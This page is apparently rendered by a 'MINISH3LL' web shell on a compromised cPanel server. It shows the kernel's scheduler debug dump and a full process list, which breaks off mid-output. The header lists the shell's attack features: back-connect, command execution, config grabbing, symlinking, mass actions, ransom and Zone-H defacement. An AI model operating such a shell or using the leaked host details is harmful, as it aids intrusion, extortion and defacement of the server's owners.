KUJUNTI.ID MINISH3LL
Path : /proc/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : //proc/sched_debug


Sched Debug Version: v0.11, 3.10.0-957.el7.x86_64 #1
ktime                                   : 31216425375.943683
sched_clk                               : 31216424890.592590
cpu_clk                                 : 31216424890.592640
jiffies                                 : 35511092672
sched_clock_stable()                    : 1

sysctl_sched
  .sysctl_sched_latency                    : 24.000000
  .sysctl_sched_min_granularity            : 3.000000
  .sysctl_sched_wakeup_granularity         : 4.000000
  .sysctl_sched_child_runs_first           : 0
  .sysctl_sched_features                   : 40571
  .sysctl_sched_tunable_scaling            : 1 (logaritmic)

cpu#0, 2533.423 MHz
  .nr_running                    : 0
  .load                          : 0
  .nr_switches                   : 3573105638
  .nr_load_updates               : 2232699697
  .nr_uninterruptible            : 1694844
  .next_balance                  : 35511.092674
  .curr->pid                     : 0
  .clock                         : 31216424891.436995
  .cpu_load[0]                   : 0
  .cpu_load[1]                   : 32
  .cpu_load[2]                   : 81
  .cpu_load[3]                   : 74
  .cpu_load[4]                   : 48
  .avg_idle                      : 1000000
  .max_idle_balance_cost         : 500000

cfs_rq[0]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 6724600536.001003
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 0.000000
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_load_avg             : 0
  .blocked_load_avg              : 36
  .tg_load_avg                   : 0
  .tg_load_contrib               : 0
  .tg_runnable_contrib           : 0
  .tg->runnable_avg              : 0
  .tg->cfs_bandwidth.timer_active: 0
  .throttled                     : 0
  .throttle_count                : 0
  .avg->runnable_avg_sum         : 1432
  .avg->runnable_avg_period      : 46766

rt_rq[0]:/
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

runnable tasks:
            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
----------------------------------------------------------------------------------------------------------
     ksoftirqd/0     3 6724600521.066350   5480034   120         0.000000     97352.306807         0.000000 0 /
    kworker/0:0H     5       941.402357        10   100         0.000000         0.044939         0.000000 0 /
     migration/0     7         0.000000   1146722     0         0.000000     19088.675348         0.000000 0 /
          rcu_bh     8       127.353518         2   120         0.000000         0.001541         0.000000 0 /
   lru-add-drain    10       131.355208         2   100         0.000000         0.002428         0.000000 0 /
      watchdog/0    11        -5.834889   7804110     0         0.000000    336307.467035         0.000000 0 /
       writeback    51 961313198.299701         3   100         0.000000         0.082898         0.000000 0 /
       scsi_eh_4   346      3209.880580        23   120         0.000000         0.436917         0.000000 0 /
        kdmflush   441       935.007037         2   100         0.000000         0.005719         0.000000 0 /
          bioset   442       947.011648         2   100         0.000000         0.005370         0.000000 0 /
 xfs-reclaim/dm-   462 2425298306.966099         4   100         0.000000         0.310366         0.000000 0 /
    xfsaild/dm-0   465 6724600524.088373 600977522   120         0.000000  29621398.888237         0.000000 0 /
    kworker/0:1H   466 6724599502.734588    653210   100         0.000000      9865.217860         0.000000 0 /
    xfsaild/sda1   669 6724592824.631293     30333   120         0.000000      1257.694950         0.000000 0 /
      irqbalance   819 6724600492.361502   3129925   120         0.000000   3770557.058507         0.000000 0 /
           tuned  1135 6724562081.217034      9196   120         0.000000      1212.507537         0.000000 0 /
           tuned  1935 6724600524.076487  31182157   120         0.000000   2893044.810115         0.000000 0 /
   rs:main Q:Reg  1152 6724600524.190577  11396795   120         0.000000   1167666.955308         0.000000 0 /
          mysqld  1675 6724600524.013235  62413066   120         0.000000   1714346.006339         0.000000 0 /
          mysqld  1677 6724600524.094003  62413027   120         0.000000   1724594.720459         0.000000 0 /
          mysqld  1678 6724600524.035428  62413015   120         0.000000   1717806.266005         0.000000 0 /
          mysqld  1679 6724600524.016510  62413037   120         0.000000   1718919.718171         0.000000 0 /
          mysqld  1681 6724600524.015249  62588964   120         0.000000   1825290.254744         0.000000 0 /
          mysqld  1685 6724600521.312248  35865900   120         0.000000   1423235.733750         0.000000 0 /
          mysqld  1748 6724600521.064362   6243100   120         0.000000    206229.216329         0.000000 0 /
          mysqld  1750 6724600521.052314   6243105   120         0.000000    205981.079604         0.000000 0 /
          mysqld  1752 6724599369.521674    797743   120         0.000000    246788.951514         0.000000 0 /
 cpanellogd - sl  5234 6724596626.202192    538486   138         0.000000    174056.955096         0.000000 0 /
     pdns_server 22150 6724599883.550746     43361   120         0.000000     40264.196813         0.000000 0 /
  pdns/webserver 22152 6724388392.063705       304   120         0.000000        37.993984         0.000000 0 /
            nscd 30338 6724600437.649756    102110   120         0.000000     10202.186596         0.000000 0 /
            nscd 30344 6724600380.560603    133361   120         0.000000     25379.377051         0.000000 0 /
            nscd 30345 6724599963.704917    134129   120         0.000000     25694.883986         0.000000 0 /
            nscd  7618 6724600521.113351    127363   120         0.000000     24373.143131         0.000000 0 /
            nscd  7624 6724600426.978318    128513   120         0.000000     24631.182707         0.000000 0 /
            nscd  2429 6724600380.530508     45117   120         0.000000      7974.830086         0.000000 0 /
            nscd  1256 6724600450.947797     18925   120         0.000000      3378.607160         0.000000 0 /
            nscd  1257 6724600438.893823     18887   120         0.000000      3370.222986         0.000000 0 /
            nscd  1258 6724600524.082338     18951   120         0.000000      3374.927908         0.000000 0 /
            nscd  1261 6724599953.457318     19002   120         0.000000      3419.574659         0.000000 0 /
            nscd  1262 6724600437.673650     18953   120         0.000000      3386.395872         0.000000 0 /
            nscd  1263 6724600380.599568     18955   120         0.000000      3396.007349         0.000000 0 /
            nscd  1264 6724600382.194928     18952   120         0.000000      3401.562593         0.000000 0 /
            nscd  1265 6724600438.372384     18944   120         0.000000      3380.681389         0.000000 0 /
            nscd  1268 6724599909.604723     19002   120         0.000000      3404.615430         0.000000 0 /
            nscd  1269 6724600426.896068     19001   120         0.000000      3419.854136         0.000000 0 /
      queueprocd  4076 6724599923.261697    113977   120         0.000000      2751.000126         0.000000 0 /
      queueprocd  4078 5972394980.635358         5   120         0.000000         0.340211         0.000000 0 /
           httpd 25379 6724600521.247231    480732   120         0.000000     29287.076073         0.000000 0 /
       splitlogs 25380 6724600524.128490     71405   120         0.000000      6226.426526         0.000000 0 /
    leechprotect 25383 6632533392.002377        18   120         0.000000       150.024250         0.000000 0 /
           stats 25673 6724600524.599697    718563   120         0.000000     59432.918334         0.000000 0 /
          cpsrvd 26361 6632534428.969288         7   120         0.000000         0.392692         0.000000 0 /
          cpsrvd 31572 6632717469.242794       596   120         0.000000       972.135164         0.000000 0 /
          cpsrvd 16042 6724600389.774236     15037   120         0.000000       358.067610         0.000000 0 /
          cpsrvd  2445 6632855089.063292       684   120         0.000000      1062.604045         0.000000 0 /
          cpsrvd  3971 6632951992.109748       531   120         0.000000       710.834194         0.000000 0 /
          cpsrvd 20905 6724599923.573211     13632   120         0.000000       327.129183         0.000000 0 /
          cpsrvd 24748 6724599926.653240     12849   120         0.000000       305.746769         0.000000 0 /
          cpsrvd 24749 6662996151.257152         3   120         0.000000         0.203668         0.000000 0 /
          cpsrvd 24755 6663037199.121177       585   120         0.000000       838.447998         0.000000 0 /
          cpsrvd  9649 6724599923.260515     12473   120         0.000000       299.272475         0.000000 0 /
          cpsrvd 10639 6724600522.021483     11785   120         0.000000       285.169658         0.000000 0 /
          cpsrvd 27465 6724600396.949030     11450   120         0.000000       276.496958         0.000000 0 /
          cpsrvd 12209 6724600109.865873     11090   120         0.000000       265.192067         0.000000 0 /
          cpsrvd 29126 6724600521.072793     10706   120         0.000000       253.187119         0.000000 0 /
          cpsrvd  3100 6724600438.214195      9235   120         0.000000       220.390425         0.000000 0 /
          cpsrvd  3101 6663510128.505943         4   120         0.000000         0.485328         0.000000 0 /
          cpsrvd  6790 6663621496.141986         6   120         0.000000         0.214526         0.000000 0 /
          cpsrvd  9198 6724600521.117403      7697   120         0.000000       184.521135         0.000000 0 /
          cpsrvd  4389 6694345147.020457         5   120         0.000000         0.298048         0.000000 0 /
          cpsrvd  4392 6694381470.302745       616   120         0.000000       926.769766         0.000000 0 /
          cpsrvd  6660 6694414509.306272         4   120         0.000000         0.180882         0.000000 0 /
          cpsrvd 25925 6694449553.891285         8   120         0.000000         0.690611         0.000000 0 /
          cpsrvd 25926 6694449553.540465         2   120         0.000000         0.134241         0.000000 0 /
          cpsrvd 11801 6724600458.455238      4966   120         0.000000       117.705560         0.000000 0 /
          cpsrvd 11802 6694534619.698927         4   120         0.000000         0.525120         0.000000 0 /
          cpsrvd 30780 6694591810.082737         9   120         0.000000         0.585780         0.000000 0 /
          cpsrvd 18103 6724600099.087624      4198   120         0.000000        97.892254         0.000000 0 /
          cpsrvd 18104 6694664036.412038         7   120         0.000000         0.771889         0.000000 0 /
     checkstatus 25693 6694679159.953805        22   120         0.000000        94.116718         0.000000 0 /
     checkstatus 25696 6694683141.215827        58   120         0.000000         5.214304         0.000000 0 /
     checkstatus 25697 6724600106.369186      2044   120         0.000000      1063.895071         0.000000 0 /
          cpsrvd 24808 6694776865.736794         7   120         0.000000         0.316369         0.000000 0 /
          cpsrvd 11950 6724600478.505228      3046   120         0.000000        72.401722         0.000000 0 /
          cpsrvd 18550 6694921232.306373         3   120         0.000000         0.153280         0.000000 0 /
          cpsrvd 10624 6724507590.881204         6   120         0.000000         0.279413         0.000000 0 /
           httpd 17704 6724598046.708669       319   120         0.000000       832.884345         0.000000 0 /
           httpd 17707 6724598043.931597       206   120         0.000000       764.705892         0.000000 0 /
           httpd 17708 6724600525.130481       226   120         0.000000      1009.539792         0.000000 0 /
           httpd 17712 6724598999.420091       160   120         0.000000       401.058047         0.000000 0 /
           httpd 17713 6724599767.210080       166   120         0.000000       372.856763         0.000000 0 /
           httpd 17719 6724599038.029905       176   120         0.000000       350.646745         0.000000 0 /
           httpd 17720 6724598338.912141       172   120         0.000000       220.387292         0.000000 0 /
           httpd 17723 6724600523.128084       169   120         0.000000       375.251229         0.000000 0 /
           httpd 17732 6724599812.567759       524   120         0.000000       952.395558         0.000000 0 /
           httpd 17733 6724598995.945956       754   120         0.000000      1155.352975         0.000000 0 /
           httpd 17735 6724600521.161144       458   120         0.000000       883.861763         0.000000 0 /
           httpd 17738 6724600521.434887       472   120         0.000000       850.510964         0.000000 0 /
           httpd 17742 6724599395.684710       488   120         0.000000       960.911185         0.000000 0 /
           httpd 17743 6724599048.572644       450   120         0.000000       801.019561         0.000000 0 /
           httpd 17745 6724599048.922715       522   120         0.000000       856.429153         0.000000 0 /
           httpd 17749 6724599386.505990       467   120         0.000000       815.054786         0.000000 0 /
           httpd 17750 6724599377.895422      2994   120         0.000000      1320.759047         0.000000 0 /
           httpd 20997 6724599796.900152       243   120         0.000000       391.883904         0.000000 0 /
           httpd 21017 6724598940.650987       531   120         0.000000       990.049246         0.000000 0 /
           httpd 21020 6724599880.331890       496   120         0.000000      1009.210092         0.000000 0 /
           httpd 21026 6724598650.124488       567   120         0.000000      1119.258299         0.000000 0 /
           httpd 21029 6724598784.014007       587   120         0.000000      1029.477872         0.000000 0 /
           httpd 21032 6724598784.124216       478   120         0.000000       915.046160         0.000000 0 /
           httpd 21033 6724598647.185872       522   120         0.000000      1451.731727         0.000000 0 /
           httpd 21035 6724599880.670389       534   120         0.000000       959.558184         0.000000 0 /
           httpd 21036 6724598647.133320       537   120         0.000000       972.178841         0.000000 0 /
           httpd 21037 6724598646.606986       495   120         0.000000       875.811022         0.000000 0 /
           httpd 21038 6724598649.746080       535   120         0.000000      1045.268644         0.000000 0 /
       rewrite-0 21496 6724600524.021870     32396   120         0.000000     10466.153622         0.000000 0 /
           httpd 30458 6724599486.625410       167   120         0.000000       263.949965         0.000000 0 /
           httpd 30464 6724600031.820440       256   120         0.000000       447.898470         0.000000 0 /
           httpd 30466 6724600442.682718       274   120         0.000000      1171.622092         0.000000 0 /
           httpd 30473 6724599809.122386       234   120         0.000000       675.565387         0.000000 0 /
           httpd 30475 6724599819.921390       237   120         0.000000       477.992043         0.000000 0 /
           httpd 30487 6724599882.695552       562   120         0.000000       701.221723         0.000000 0 /
           httpd 30492 6724600085.048582       390   120         0.000000       613.467841         0.000000 0 /
           httpd 30493 6724599923.775858       447   120         0.000000       625.053596         0.000000 0 /
           httpd 30495 6724600028.563559       393   120         0.000000       623.703360         0.000000 0 /
           httpd 30498 6724599923.317210       385   120         0.000000       552.012377         0.000000 0 /
           httpd 30499 6724600458.489556       413   120         0.000000       587.022955         0.000000 0 /
           httpd 30500 6724600085.414051       388   120         0.000000       594.380341         0.000000 0 /
           httpd 30502 6724599800.741665       378   120         0.000000       614.079137         0.000000 0 /
           httpd 30503 6724600085.338487       390   120         0.000000       578.366800         0.000000 0 /
           httpd 30507 6724600524.056576     16500   120         0.000000      1152.771879         0.000000 0 /
 slow_work_threa 30576 6724554831.183524      1176   120         0.000000      3556.739772         0.000000 0 /
     kworker/0:2  4558 6724600524.520862    246604   120         0.000000      6902.507592         0.000000 0 /
           httpd  5867 6724600529.236280      2181   120         0.000000     13044.921994         0.000000 0 /
           httpd  5884 6724600521.558344      2174   120         0.000000      2209.039172         0.000000 0 /
           httpd  5886 6724600521.575235      1946   120         0.000000      2421.476685         0.000000 0 /
           httpd  5887 6724600522.033859      2087   120         0.000000      1968.962262         0.000000 0 /
           httpd  5888 6724600521.420537      2033   120         0.000000      1920.986047         0.000000 0 /
           httpd  5889 6724600521.545758      1979   120         0.000000      1799.271817         0.000000 0 /
           httpd  5890 6724600523.186618      2011   120         0.000000      1890.160083         0.000000 0 /
           httpd  5891 6724600521.590937      2184   120         0.000000      2137.227293         0.000000 0 /
           httpd  5894 6724600521.623080      2032   120         0.000000      1827.130172         0.000000 0 /
           httpd  5896 6724600521.675533      2222   120         0.000000      2055.521184         0.000000 0 /
           httpd  5897 6724600521.613568      2060   120         0.000000      2288.831416         0.000000 0 /
           httpd  5898 6724600521.089100      1877   120         0.000000      1874.319210         0.000000 0 /
           httpd  5899 6724600521.596585      2023   120         0.000000      2389.959171         0.000000 0 /
           httpd  5900 6724600521.475684      1901   120         0.000000      1698.280508         0.000000 0 /
           httpd  5903 6724600521.427967      1957   120         0.000000      1889.851913         0.000000 0 /
           httpd  5905 6724600521.085803      2192   120         0.000000      2084.817262         0.000000 0 /
       rewrite-0  6448 6724600525.977974     14123   120         0.000000      6098.365579         0.000000 0 /
       rewrite-0  6449 6724600524.019536     28684   120         0.000000     18355.232193         0.000000 0 /
 slow_work_threa  6451 6724596619.258492      3808   120         0.000000     10683.903353         0.000000 0 /
          cpsrvd 24832 6724554319.973642         6   120         0.000000         0.380249         0.000000 0 /
     kworker/0:0 25976 6724556484.597594         2   120         0.000000         0.012330         0.000000 0 /
          cspfwd   805 6724593481.347044        12   120         0.000000        54.533499         0.000000 0 /

cpu#1, 2533.423 MHz
  .nr_running                    : 0
  .load                          : 0
  .nr_switches                   : 4047515928
  .nr_load_updates               : 2702421831
  .nr_uninterruptible            : 335217
  .next_balance                  : 35511.092679
  .curr->pid                     : 0
  .clock                         : 31216424891.325934
  .cpu_load[0]                   : 0
  .cpu_load[1]                   : 0
  .cpu_load[2]                   : 0
  .cpu_load[3]                   : 0
  .cpu_load[4]                   : 0
  .avg_idle                      : 1000000
  .max_idle_balance_cost         : 500000

cfs_rq[1]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 4643223836.038110
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -2081376699.962893
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_load_avg             : 0
  .blocked_load_avg              : 3
  .tg_load_avg                   : 0
  .tg_load_contrib               : 0
  .tg_runnable_contrib           : 0
  .tg->runnable_avg              : 0
  .tg->cfs_bandwidth.timer_active: 0
  .throttled                     : 0
  .throttle_count                : 0
  .avg->runnable_avg_sum         : 435
  .avg->runnable_avg_period      : 47541

rt_rq[1]:/
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

runnable tasks:
            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
----------------------------------------------------------------------------------------------------------
         systemd     1 4643223805.760805  32078343   120         0.000000  22991997.086055         0.000000 0 /
      watchdog/1    12        -2.971139   7804110     0         0.000000    251792.059662         0.000000 0 /
     migration/1    13         0.000000    817211     0         0.000000      9634.927992         0.000000 0 /
     ksoftirqd/1    14 4643223787.459557   2719991   120         0.000000     33683.540118         0.000000 0 /
    kworker/1:0H    16       770.014701        12   100         0.000000         0.096387         0.000000 0 /
         kswapd0    72 4643221662.344905   8238701   120         0.000000   2658735.455067         0.000000 0 /
         kauditd   139 4643223122.127213   1876135   120         0.000000     72814.193329         0.000000 0 /
       scsi_eh_2   342      1555.239264        23   120         0.000000         0.517604         0.000000 0 /
       scsi_eh_3   344      1555.246976        23   120         0.000000         0.492523         0.000000 0 /
       scsi_eh_5   348      1555.239287        23   120         0.000000         0.552846         0.000000 0 /
    xfs-cil/sda1   665 3662780070.105920        10   100         0.000000         0.200333         0.000000 0 /
           gdbus   813 4643223125.457335   3745240   120         0.000000    516470.027967         0.000000 0 /
         polkitd   820       983.503269         4   120         0.000000         0.110233         0.000000 0 /
    kworker/1:1H   772 4643220917.948738    495183   100         0.000000      7383.862975         0.000000 0 /
        gssproxy   891       834.696049        10   120         0.000000         4.124575         0.000000 0 /
    in:imjournal  1141 4643223824.756310  41692527   120         0.000000   3681222.898948         0.000000 0 /
          mysqld  1319 4643223105.379536   1243510   120         0.000000    119965.593936         0.000000 0 /
          mysqld  1682 4643223824.069753  62487592   120         0.000000   1799565.337166         0.000000 0 /
          mysqld  1754 4643221648.329740    931698   120         0.000000     35926.259575         0.000000 0 /
          mysqld  1759 4643223824.053252  31211541   120         0.000000    754259.318279         0.000000 0 /
         php-fpm 29752 4643223824.275766  30218764   120         0.000000   1449330.914479         0.000000 0 /
 pdns/ctrlListen 22151 2661954737.092823        19   120         0.000000         1.488181         0.000000 0 /
 pdns/carbonDump 22156 4643223824.079561  12929326   120         0.000000    398966.197500         0.000000 0 /
            nscd  7620 4643223198.714926    127793   120         0.000000     24544.577142         0.000000 0 /
            nscd  7622 4643223759.891690    127845   120         0.000000     24411.941290         0.000000 0 /
            nscd 17618 4643223773.635296    100697   120         0.000000     18780.675853         0.000000 0 /
            nscd  2430 4643223746.507705     45172   120         0.000000      8037.255166         0.000000 0 /
            nscd  1259 4643223152.658073     18984   120         0.000000      3396.214436         0.000000 0 /
            nscd  1266 4643223715.810351     18988   120         0.000000      3423.868023         0.000000 0 /
            nscd  1267 4643223707.716138     19021   120         0.000000      3429.413534         0.000000 0 /
            nscd 29542 4643223689.513395     13833   120         0.000000      2494.932364         0.000000 0 /
      queueprocd  4077 4059064479.382598         4   120         0.000000         0.200897         0.000000 0 /
       splitlogs 25381 4643223824.194392     71324   120         0.000000      5849.293765         0.000000 0 /
         dovecot 25658 4643223824.573944    657160   120         0.000000     80155.802537         0.000000 0 /
      pop3-login 25663 4643223824.111260     81820   120         0.000000      8732.373732         0.000000 0 /
      imap-login 25664 4643220970.981167      9286   120         0.000000      1783.006654         0.000000 0 /
           anvil 25665 4643223824.365235    276456   120         0.000000     28573.300934         0.000000 0 /
          cpsrvd 31570 4568907103.238220         5   120         0.000000         0.361537         0.000000 0 /
          cpsrvd  2440 4569083300.663225         8   120         0.000000         0.604663         0.000000 0 /
          cpsrvd  3965 4643223732.142569     14001   120         0.000000       332.899751         0.000000 0 /
          cpsrvd 20906 4569290749.983481         4   120         0.000000         0.309188         0.000000 0 /
          cpsrvd 12210 4594879340.259872         9   120         0.000000         0.786371         0.000000 0 /
          cpsrvd 29127 4594925533.158155         9   120         0.000000         0.556202         0.000000 0 /
          cpsrvd 29132 4594981520.226213       558   120         0.000000       616.529083         0.000000 0 /
          cpsrvd 14979 4595023347.699138       553   120         0.000000       592.697530         0.000000 0 /
          cpsrvd   790 4595142569.814909       605   120         0.000000       882.478571         0.000000 0 /
          cpsrvd 22064 4595264603.728104         6   120         0.000000         0.276086         0.000000 0 /
          cpsrvd 24499 4595369358.936981         2   120         0.000000         0.126746         0.000000 0 /
          cpsrvd 13115 4643223689.554887      6926   120         0.000000       164.879823         0.000000 0 /
          cpsrvd 13122 4619382012.807113       857   120         0.000000      1212.523447         0.000000 0 /
          cpsrvd  4386 4643223666.023093      6428   120         0.000000       156.145039         0.000000 0 /
          cpsrvd 21234 4643223690.756795      6105   120         0.000000       146.142808         0.000000 0 /
          cpsrvd 21240 4619472705.770644       516   120         0.000000       609.179650         0.000000 0 /
          cpsrvd  6658 4643223689.558118      5725   120         0.000000       134.584130         0.000000 0 /
          cpsrvd  6664 4619512123.675489       547   120         0.000000       658.452955         0.000000 0 /
          cpsrvd 25931 4619675000.775732       527   120         0.000000       681.236797         0.000000 0 /
          cpsrvd  5191 4643223715.322899      3811   120         0.000000        90.784125         0.000000 0 /
           spamd 24353 4643223806.118898     51430   120         0.000000     26310.122758         0.000000 0 /
          cpsrvd 31931 4643223715.581309      2674   120         0.000000        63.127925         0.000000 0 /
          cpsrvd  4083 4643223192.409782      1926   120         0.000000        45.356246         0.000000 0 /
          cpsrvd  4089 4642932270.284782       527   120         0.000000       567.957344         0.000000 0 /
          cpsrvd 23398 4642932270.179025         4   120         0.000000         0.267205         0.000000 0 /
          cpsrvd  8733 4643223689.461069      1168   120         0.000000        27.447902         0.000000 0 /
          cpsrvd  8734 4642981230.891798         8   120         0.000000         0.503011         0.000000 0 /
           httpd 17727 4643221511.506253       709   120         0.000000      9665.067941         0.000000 0 /
           httpd 17731 4643223024.197454       501   120         0.000000       939.409622         0.000000 0 /
           httpd 17734 4643221534.778768       470   120         0.000000       847.745377         0.000000 0 /
           httpd 17740 4643221532.402352       466   120         0.000000       846.362151         0.000000 0 /
           httpd 17748 4643221535.913700       487   120         0.000000       889.716225         0.000000 0 /
       rewrite-0 18145 4643223805.669667      2944   120         0.000000      2337.162369         0.000000 0 /
           httpd 20994 4643220946.402031       172   120         0.000000       217.393241         0.000000 0 /
           httpd 20995 4643221044.202442       232   120         0.000000       832.281293         0.000000 0 /
           httpd 21001 4643220946.046819       201   120         0.000000       356.342358         0.000000 0 /
           httpd 21002 4643220945.858028       233   120         0.000000       282.519169         0.000000 0 /
           httpd 21003 4643220963.362423       256   120         0.000000       390.050376         0.000000 0 /
           httpd 21007 4643220976.363842       257   120         0.000000       381.484940         0.000000 0 /
           httpd 21010 4643220938.291653       259   120         0.000000       533.421613         0.000000 0 /
           httpd 21013 4643220946.271650       273   120         0.000000       847.648862         0.000000 0 /
           httpd 21018 4643220954.961443       553   120         0.000000      1023.226833         0.000000 0 /
           httpd 21019 4643223126.129562       525   120         0.000000      1045.692226         0.000000 0 /
           httpd 21021 4643221040.297555       540   120         0.000000      1016.434104         0.000000 0 /
           httpd 21022 4643220955.982760       490   120         0.000000      1080.907415         0.000000 0 /
           httpd 21024 4643223111.819712       534   120         0.000000       933.922903         0.000000 0 /
           httpd 21025 4643220957.088883       509   120         0.000000       957.779329         0.000000 0 /
           httpd 21027 4643220942.211733       552   120         0.000000      1222.308565         0.000000 0 /
           httpd 21039 4643220942.144956       538   120         0.000000       985.783614         0.000000 0 /
           httpd 21042 4643223824.108966     20235   120         0.000000      1356.862147         0.000000 0 /
       rewrite-0 21494 4643223126.170615      4156   120         0.000000      2835.441149         0.000000 0 /
           httpd 30457 4643221535.947197       254   120         0.000000      1582.265567         0.000000 0 /
           httpd 30460 4643223341.444601       205   120         0.000000       413.934266         0.000000 0 /
           httpd 30465 4643220920.958203       251   120         0.000000       491.392241         0.000000 0 /
           httpd 30477 4643220921.797815       173   120         0.000000       318.343134         0.000000 0 /
           httpd 30478 4643221533.578968       162   120         0.000000       220.792115         0.000000 0 /
           httpd 30482 4643223135.121631       444   120         0.000000       684.518163         0.000000 0 /
           httpd 30483 4643223663.708433       434   120         0.000000       683.498093         0.000000 0 /
           httpd 30488 4643223370.835355       427   120         0.000000       600.959152         0.000000 0 /
           httpd 30489 4643223691.399801       497   120         0.000000       786.613890         0.000000 0 /
           httpd 30490 4643223199.000157       378   120         0.000000       555.418405         0.000000 0 /
           httpd 30491 4643223143.644960       405   120         0.000000       682.159353         0.000000 0 /
           httpd 30494 4643223338.449647       452   120         0.000000       663.079001         0.000000 0 /
           httpd 30504 4643223125.466187       338   120         0.000000       466.069796         0.000000 0 /
           httpd 30505 4643223200.432214       372   120         0.000000       601.582170         0.000000 0 /
           httpd 30506 4643223732.513465       404   120         0.000000       576.278238         0.000000 0 /
  slow_rewrite-0 30574 4643128284.918084       270   120         0.000000       236.799556         0.000000 0 /
          html-0 30577 4643223691.451348       645   120         0.000000       354.592960         0.000000 0 /
       cspdaemon  1426 4643065464.876779         9   120         0.000000        82.094463         0.000000 0 /
       cspdaemon  1427 4643223824.069486      9834   120         0.000000       231.709443         0.000000 0 /
       cspdaemon 16381 4643216609.278642      1051   120         0.000000        93.187004         0.000000 0 /
           httpd  5854 4643076663.168542         4   120         0.000000         8.433234         0.000000 0 /
           httpd  5872 4643223806.084002      1876   120         0.000000      6446.980666         0.000000 0 /
           httpd  5882 4643223805.778256      2078   120         0.000000      1913.690838         0.000000 0 /
           httpd  5892 4643223805.786042      2093   120         0.000000      2046.001360         0.000000 0 /
           httpd  5893 4643223805.957917      2004   120         0.000000      1889.284229         0.000000 0 /
           httpd  5895 4643223805.894343      1957   120         0.000000      1966.331474         0.000000 0 /
           httpd  5901 4643223805.934245      2059   120         0.000000      2752.390942         0.000000 0 /
           httpd  5902 4643223805.593000      2049   120         0.000000      2003.529832         0.000000 0 /
           httpd  5906 4643223824.474367      2104   120         0.000000      1972.903724         0.000000 0 /
          html-0  6450 4643223824.279754      7975   120         0.000000      3671.309426         0.000000 0 /
     kworker/1:0 32175 4643223824.306992     23073   120         0.000000       479.812487         0.000000 0 /
     kworker/1:2   302 4643217036.681128         7   120         0.000000         0.179887         0.000000 0 /
          cspfwd   806 4643223799.117644      8910   120         0.000000       128.403758         0.000000 0 /
         php-fpm  2404 4643223827.582897        46   120         0.000000        89.543131         0.000000 0 /

cpu#2, 2533.423 MHz
  .nr_running                    : 2
  .load                          : 2048
  .nr_switches                   : 5263722881
  .nr_load_updates               : 3419490632
  .nr_uninterruptible            : -650676
  .next_balance                  : 35511.092676
  .curr->pid                     : 2407
  .clock                         : 31216424891.836659
  .cpu_load[0]                   : 2048
  .cpu_load[1]                   : 1952
  .cpu_load[2]                   : 1481
  .cpu_load[3]                   : 923
  .cpu_load[4]                   : 554
  .avg_idle                      : 1000000
  .max_idle_balance_cost         : 500000

cfs_rq[2]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 4331035385.716384
  .min_vruntime                  : 4331035397.716384
  .max_vruntime                  : 4331035385.716384
  .spread                        : 0.000000
  .spread0                       : -2393565138.284619
  .nr_spread_over                : 0
  .nr_running                    : 2
  .load                          : 2048
  .runnable_load_avg             : 88
  .blocked_load_avg              : 359
  .tg_load_avg                   : 0
  .tg_load_contrib               : 0
  .tg_runnable_contrib           : 0
  .tg->runnable_avg              : 0
  .tg->cfs_bandwidth.timer_active: 0
